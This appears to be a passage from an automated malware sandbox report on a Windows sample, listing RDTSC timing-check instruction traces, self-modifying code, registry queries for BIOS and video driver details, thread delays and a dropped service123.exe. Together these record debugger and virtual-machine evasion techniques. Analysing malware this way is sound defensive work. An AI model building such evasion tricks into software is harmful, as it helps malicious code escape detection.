00007FF424AB75BEh 0x00000057 push eax 0x00000058 push edx 0x00000059 pushad 0x0000005a mov edi, 7294B1F0h 0x0000005f push ebx 0x00000060 pop esi 0x00000061 popad 0x00000062 rdtsc
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	RDTSC instruction interceptor: First address: 79708F2 second address: 797093F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 movsx edi, cx 0x00000006 pushfd 0x00000007 jmp 00007FF3B51FB948h 0x0000000c or esi, 245A5BA8h 0x00000012 jmp 00007FF3B51FB93Bh 0x00000017 popfd 0x00000018 popad 0x00000019 pop edx 0x0000001a pop eax 0x0000001b mov ebp, esp 0x0000001d push eax 0x0000001e push edx 0x0000001f jmp 00007FF3B51FB945h 0x00000024 rdtsc
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	RDTSC instruction interceptor: First address: 7960A06 second address: 7960A4F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007FF3B4EE5411h 0x00000009 sub ecx, 263D04C6h 0x0000000f jmp 00007FF3B4EE5411h 0x00000014 popfd 0x00000015 pushad 0x00000016 popad 0x00000017 popad 0x00000018 pop edx 0x00000019 pop eax 0x0000001a xchg eax, ebp 0x0000001b pushad 0x0000001c mov bh, cl 0x0000001e movsx edi, ax 0x00000021 popad 0x00000022 push eax 0x00000023 push eax 0x00000024 push edx 0x00000025 jmp 00007FF3B4EE540Ch 0x0000002a rdtsc
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	RDTSC instruction interceptor: First address: 7970B29 second address: 7970B2D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	RDTSC instruction interceptor: First address: 7970B2D second address: 7970B31 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	RDTSC instruction interceptor: First address: 7970B31 second address: 7970B37 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	RDTSC instruction interceptor: First address: 7970B37 second address: 7970B3D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	RDTSC instruction interceptor: First address: 7970B3D second address: 7970B41 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	RDTSC instruction interceptor: First address: 7970B41 second address: 7970B92 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF3B4EE5414h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c pushad 0x0000000d mov ah, dh 0x0000000f popad 0x00000010 xchg eax, ebp 0x00000011 jmp 00007FF3B4EE5414h 0x00000016 mov ebp, esp 0x00000018 pushad 0x00000019 mov di, cx 0x0000001c push eax 0x0000001d movsx edx, ax 0x00000020 pop eax 0x00000021 popad 0x00000022 push dword ptr [ebp+04h] 0x00000025 push eax 0x00000026 push edx 0x00000027 jmp 00007FF3B4EE540Ch 0x0000002c rdtsc
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	RDTSC instruction interceptor: First address: 79E09FD second address: 79E0A29 instructions: 0x00000000 rdtsc 0x00000002 mov dl, 52h 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b pushfd 0x0000000c jmp 00007FF3B51FB93Eh 0x00000011 add eax, 142A86D8h 0x00000017 jmp 00007FF3B51FB93Bh 0x0000001c popfd 0x0000001d rdtsc
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	RDTSC instruction interceptor: First address: 79E0A29 second address: 79E0A42 instructions: 0x00000000 rdtsc 0x00000002 movzx ecx, bx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 popad 0x00000008 xchg eax, ebp 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007FF3B4EE540Eh 0x00000010 rdtsc
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	RDTSC instruction interceptor: First address: 79E0A42 second address: 79E0A62 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF3B51FB93Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebp, esp 0x0000000b pushad 0x0000000c mov ebx, eax 0x0000000e mov ch, A9h 0x00000010 popad 0x00000011 mov dl, byte ptr [ebp+14h] 0x00000014 push eax 0x00000015 push edx 0x00000016 push eax 0x00000017 push edx 0x00000018 pushad 0x00000019 popad 0x0000001a rdtsc
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	RDTSC instruction interceptor: First address: 79E0A62 second address: 79E0A68 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	RDTSC instruction interceptor: First address: 79E0A68 second address: 79E0AB8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF3B51FB947h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [ebp+10h] 0x0000000c jmp 00007FF3B51FB946h 0x00000011 and dl, 00000007h 0x00000014 push eax 0x00000015 push edx 0x00000016 jmp 00007FF3B51FB947h 0x0000001b rdtsc
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	RDTSC instruction interceptor: First address: 79E0AB8 second address: 79E0B5A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF3B4EE5419h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 test eax, eax 0x0000000b jmp 00007FF3B4EE540Eh 0x00000010 je 00007FF424A3AB13h 0x00000016 pushad 0x00000017 pushfd 0x00000018 jmp 00007FF3B4EE540Eh 0x0000001d sub ecx, 750F9518h 0x00000023 jmp 00007FF3B4EE540Bh 0x00000028 popfd 0x00000029 push ecx 0x0000002a pushfd 0x0000002b jmp 00007FF3B4EE540Fh 0x00000030 xor ecx, 023921DEh 0x00000036 jmp 00007FF3B4EE5419h 0x0000003b popfd 0x0000003c pop eax 0x0000003d popad 0x0000003e mov ecx, 00000000h 0x00000043 push eax 0x00000044 push edx 0x00000045 jmp 00007FF3B4EE5413h 0x0000004a rdtsc
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	RDTSC instruction interceptor: First address: 79C0E4F second address: 79C0E9B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF3B51FB93Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a mov ebp, esp 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f pushfd 0x00000010 jmp 00007FF3B51FB93Dh 0x00000015 or cl, 00000026h 0x00000018 jmp 00007FF3B51FB941h 0x0000001d popfd 0x0000001e jmp 00007FF3B51FB940h 0x00000023 popad 0x00000024 rdtsc
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	RDTSC instruction interceptor: First address: 79C0E9B second address: 79C0EAD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FF3B4EE540Eh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	RDTSC instruction interceptor: First address: 79C0EAD second address: 79C0ED6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF3B51FB93Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pop ebp 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007FF3B51FB945h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	RDTSC instruction interceptor: First address: 79D03BA second address: 79D0404 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edx 0x00000004 pop ecx 0x00000005 pushfd 0x00000006 jmp 00007FF3B4EE540Dh 0x0000000b xor si, 6166h 0x00000010 jmp 00007FF3B4EE5411h 0x00000015 popfd 0x00000016 popad 0x00000017 pop edx 0x00000018 pop eax 0x00000019 xchg eax, ebx 0x0000001a push eax 0x0000001b push edx 0x0000001c push eax 0x0000001d push edx 0x0000001e jmp 00007FF3B4EE5418h 0x00000023 rdtsc
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	RDTSC instruction interceptor: First address: 79D0404 second address: 79D040A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	RDTSC instruction interceptor: First address: 79D040A second address: 79D0424 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 pushad 0x00000006 popad 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007FF3B4EE540Bh 0x00000014 rdtsc
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	RDTSC instruction interceptor: First address: 79D0424 second address: 79D0428 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	RDTSC instruction interceptor: First address: 79D0428 second address: 79D042E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	RDTSC instruction interceptor: First address: 79D042E second address: 79D0434 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	RDTSC instruction interceptor: First address: 79D0434 second address: 79D0484 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF3B4EE540Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebx 0x0000000c jmp 00007FF3B4EE5410h 0x00000011 xchg eax, esi 0x00000012 pushad 0x00000013 pushad 0x00000014 mov al, 07h 0x00000016 push edx 0x00000017 pop eax 0x00000018 popad 0x00000019 popad 0x0000001a push eax 0x0000001b jmp 00007FF3B4EE5411h 0x00000020 xchg eax, esi 0x00000021 push eax 0x00000022 push edx 0x00000023 jmp 00007FF3B4EE540Dh 0x00000028 rdtsc
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	RDTSC instruction interceptor: First address: 79D0484 second address: 79D048A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	RDTSC instruction interceptor: First address: 79D048A second address: 79D048E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	RDTSC instruction interceptor: First address: 79D048E second address: 79D04AD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov esi, dword ptr [ebp+08h] 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007FF3B51FB942h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	RDTSC instruction interceptor: First address: 79D04AD second address: 79D04DC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007FF3B4EE5411h 0x00000009 add esi, 03984856h 0x0000000f jmp 00007FF3B4EE5411h 0x00000014 popfd 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	RDTSC instruction interceptor: First address: 79D04DC second address: 79D04EA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 sub ecx, ecx 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	RDTSC instruction interceptor: First address: 79D04EA second address: 79D04EE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	RDTSC instruction interceptor: First address: 79D04EE second address: 79D0537 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushfd 0x00000007 jmp 00007FF3B51FB93Bh 0x0000000c add ecx, 7669398Eh 0x00000012 jmp 00007FF3B51FB949h 0x00000017 popfd 0x00000018 popad 0x00000019 xchg eax, edi 0x0000001a jmp 00007FF3B51FB93Eh 0x0000001f push eax 0x00000020 push eax 0x00000021 push edx 0x00000022 push eax 0x00000023 push edx 0x00000024 pushad 0x00000025 popad 0x00000026 rdtsc
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	RDTSC instruction interceptor: First address: 79D0537 second address: 79D053B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	RDTSC instruction interceptor: First address: 79D053B second address: 79D0541 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	RDTSC instruction interceptor: First address: 79D0541 second address: 79D05DB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF3B4EE540Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, edi 0x0000000a jmp 00007FF3B4EE5416h 0x0000000f mov eax, 00000001h 0x00000014 pushad 0x00000015 mov ecx, ebx 0x00000017 popad 0x00000018 lock cmpxchg dword ptr [esi], ecx 0x0000001c jmp 00007FF3B4EE540Fh 0x00000021 mov ecx, eax 0x00000023 jmp 00007FF3B4EE5416h 0x00000028 cmp ecx, 01h 0x0000002b pushad 0x0000002c call 00007FF3B4EE540Eh 0x00000031 push ecx 0x00000032 pop edx 0x00000033 pop ecx 0x00000034 push edi 0x00000035 push eax 0x00000036 pop edi 0x00000037 pop eax 0x00000038 popad 0x00000039 jne 00007FF424A2741Bh 0x0000003f pushad 0x00000040 mov bh, 1Bh 0x00000042 movzx ecx, di 0x00000045 popad 0x00000046 pop edi 0x00000047 push eax 0x00000048 push edx 0x00000049 jmp 00007FF3B4EE5412h 0x0000004e rdtsc
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	RDTSC instruction interceptor: First address: 79D05DB second address: 79D05E1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	RDTSC instruction interceptor: First address: 79D05E1 second address: 79D05E5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	RDTSC instruction interceptor: First address: 79D05E5 second address: 79D05E9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	RDTSC instruction interceptor: First address: 79D05E9 second address: 79D0615 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop esi 0x00000009 pushad 0x0000000a movsx edx, cx 0x0000000d mov ecx, 61271FD7h 0x00000012 popad 0x00000013 pop ebx 0x00000014 push eax 0x00000015 push edx 0x00000016 push eax 0x00000017 push edx 0x00000018 jmp 00007FF3B4EE5414h 0x0000001d rdtsc
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	RDTSC instruction interceptor: First address: 79D0615 second address: 79D0619 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	RDTSC instruction interceptor: First address: 79D0619 second address: 79D061F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	RDTSC instruction interceptor: First address: 79D061F second address: 79D0625 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	RDTSC instruction interceptor: First address: 79D0625 second address: 79D0629 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	RDTSC instruction interceptor: First address: 79D0629 second address: 79D063F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop ebp 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007FF3B51FB93Bh 0x00000010 rdtsc
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	RDTSC instruction interceptor: First address: 79909EE second address: 79909F2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	RDTSC instruction interceptor: First address: 79909F2 second address: 7990A9A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF3B51FB93Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ch, BEh 0x0000000b popad 0x0000000c push ebp 0x0000000d jmp 00007FF3B51FB93Ah 0x00000012 mov dword ptr [esp], ebp 0x00000015 pushad 0x00000016 pushfd 0x00000017 jmp 00007FF3B51FB93Eh 0x0000001c sub al, FFFFFFF8h 0x0000001f jmp 00007FF3B51FB93Bh 0x00000024 popfd 0x00000025 pushfd 0x00000026 jmp 00007FF3B51FB948h 0x0000002b jmp 00007FF3B51FB945h 0x00000030 popfd 0x00000031 popad 0x00000032 mov ebp, esp 0x00000034 pushad 0x00000035 pushfd 0x00000036 jmp 00007FF3B51FB93Ch 0x0000003b xor si, 45B8h 0x00000040 jmp 00007FF3B51FB93Bh 0x00000045 popfd 0x00000046 mov si, E9EFh 0x0000004a popad 0x0000004b xchg eax, ecx 0x0000004c push eax 0x0000004d push edx 0x0000004e jmp 00007FF3B51FB941h 0x00000053 rdtsc
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	RDTSC instruction interceptor: First address: 7990A9A second address: 7990AAA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FF3B4EE540Ch 0x00000009 rdtsc
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	RDTSC instruction interceptor: First address: 7990AAA second address: 7990B0C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 jmp 00007FF3B51FB93Eh 0x0000000e xchg eax, ecx 0x0000000f pushad 0x00000010 push eax 0x00000011 mov bx, 1090h 0x00000015 pop edx 0x00000016 pushfd 0x00000017 jmp 00007FF3B51FB946h 0x0000001c sbb ecx, 0C9184D8h 0x00000022 jmp 00007FF3B51FB93Bh 0x00000027 popfd 0x00000028 popad 0x00000029 push 00000000h 0x0000002b push eax 0x0000002c push edx 0x0000002d jmp 00007FF3B51FB945h 0x00000032 rdtsc
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	RDTSC instruction interceptor: First address: 7990920 second address: 7990933 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov dx, 737Ah 0x00000007 mov ax, di 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push esi 0x0000000e pushad 0x0000000f push eax 0x00000010 push edx 0x00000011 mov cl, 50h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	RDTSC instruction interceptor: First address: 79200F1 second address: 79201B8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF3B51FB941h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a pushad 0x0000000b pushfd 0x0000000c jmp 00007FF3B51FB93Ch 0x00000011 adc al, FFFFFFB8h 0x00000014 jmp 00007FF3B51FB93Bh 0x00000019 popfd 0x0000001a pushfd 0x0000001b jmp 00007FF3B51FB948h 0x00000020 adc si, 2C18h 0x00000025 jmp 00007FF3B51FB93Bh 0x0000002a popfd 0x0000002b popad 0x0000002c push eax 0x0000002d pushad 0x0000002e pushfd 0x0000002f jmp 00007FF3B51FB93Fh 0x00000034 add cx, B0DEh 0x00000039 jmp 00007FF3B51FB949h 0x0000003e popfd 0x0000003f pushfd 0x00000040 jmp 00007FF3B51FB940h 0x00000045 jmp 00007FF3B51FB945h 0x0000004a popfd 0x0000004b popad 0x0000004c xchg eax, ebp 0x0000004d push eax 0x0000004e push edx 0x0000004f jmp 00007FF3B51FB93Dh 0x00000054 rdtsc
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	RDTSC instruction interceptor: First address: 79201B8 second address: 79201BE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	RDTSC instruction interceptor: First address: 79201BE second address: 79201C2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	RDTSC instruction interceptor: First address: 79201C2 second address: 79201C6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	RDTSC instruction interceptor: First address: 79201C6 second address: 79201F7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov ebp, esp 0x0000000a jmp 00007FF3B51FB93Fh 0x0000000f pop ebp 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007FF3B51FB945h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	RDTSC instruction interceptor: First address: 7920330 second address: 7920355 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF3B4EE5411h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FF3B4EE540Dh 0x00000011 rdtsc
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	RDTSC instruction interceptor: First address: 7920355 second address: 7920374 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ax, C979h 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007FF3B51FB942h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	RDTSC instruction interceptor: First address: 7920374 second address: 7920379 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	RDTSC instruction interceptor: First address: 7920379 second address: 79203F9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 xchg eax, ebp 0x00000008 pushad 0x00000009 mov ch, bl 0x0000000b pushfd 0x0000000c jmp 00007FF3B51FB940h 0x00000011 or si, 5EE8h 0x00000016 jmp 00007FF3B51FB93Bh 0x0000001b popfd 0x0000001c popad 0x0000001d mov ebp, esp 0x0000001f push eax 0x00000020 push edx 0x00000021 pushad 0x00000022 pushfd 0x00000023 jmp 00007FF3B51FB93Bh 0x00000028 adc esi, 07C1362Eh 0x0000002e jmp 00007FF3B51FB949h 0x00000033 popfd 0x00000034 pushfd 0x00000035 jmp 00007FF3B51FB940h 0x0000003a and al, FFFFFFA8h 0x0000003d jmp 00007FF3B51FB93Bh 0x00000042 popfd 0x00000043 popad 0x00000044 rdtsc
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	RDTSC instruction interceptor: First address: 79203F9 second address: 79203FF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	RDTSC instruction interceptor: First address: 79203FF second address: 7920403 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	RDTSC instruction interceptor: First address: 7920403 second address: 792041A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF3B4EE540Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pop ebp 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f mov edi, ecx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	RDTSC instruction interceptor: First address: 7910EF0 second address: 7910EF6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	RDTSC instruction interceptor: First address: 7910EF6 second address: 7910EFA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	RDTSC instruction interceptor: First address: 7930CB7 second address: 7930D11 instructions: 0x00000000 rdtsc 0x00000002 mov si, di 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push ebx 0x00000008 pushfd 0x00000009 jmp 00007FF3B51FB944h 0x0000000e sub cl, 00000028h 0x00000011 jmp 00007FF3B51FB93Bh 0x00000016 popfd 0x00000017 pop eax 0x00000018 popad 0x00000019 push dword ptr [ebp+0Ch] 0x0000001c push eax 0x0000001d push edx 0x0000001e pushad 0x0000001f mov edx, esi 0x00000021 pushfd 0x00000022 jmp 00007FF3B51FB93Ch 0x00000027 jmp 00007FF3B51FB945h 0x0000002c popfd 0x0000002d popad 0x0000002e rdtsc
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	RDTSC instruction interceptor: First address: 7930D11 second address: 7930D17 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	RDTSC instruction interceptor: First address: 7930D17 second address: 7930D1B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	Special instruction interceptor: First address: 12FD833 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	Special instruction interceptor: First address: 12FD911 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	Special instruction interceptor: First address: 149AABA instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	Special instruction interceptor: First address: 12FB0BE instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	Special instruction interceptor: First address: 1524C8F instructions caused by: Self-modifying code

Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc	Jump to behavior
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion	Jump to behavior
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion	Jump to behavior

Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	Window / User API: threadDelayed 778	Jump to behavior
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	Window / User API: threadDelayed 2059	Jump to behavior
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	Window / User API: threadDelayed 703	Jump to behavior
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	Window / User API: threadDelayed 693	Jump to behavior
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	Window / User API: threadDelayed 1093	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Window / User API: threadDelayed 5963	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Window / User API: threadDelayed 4036	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\service123.exe

API coverage: 1.2 %

Source: C:\Users\user\Desktop\NVkyG9HAeY.exe TID: 1184	Thread sleep time: -48024s >= -30000s	Jump to behavior
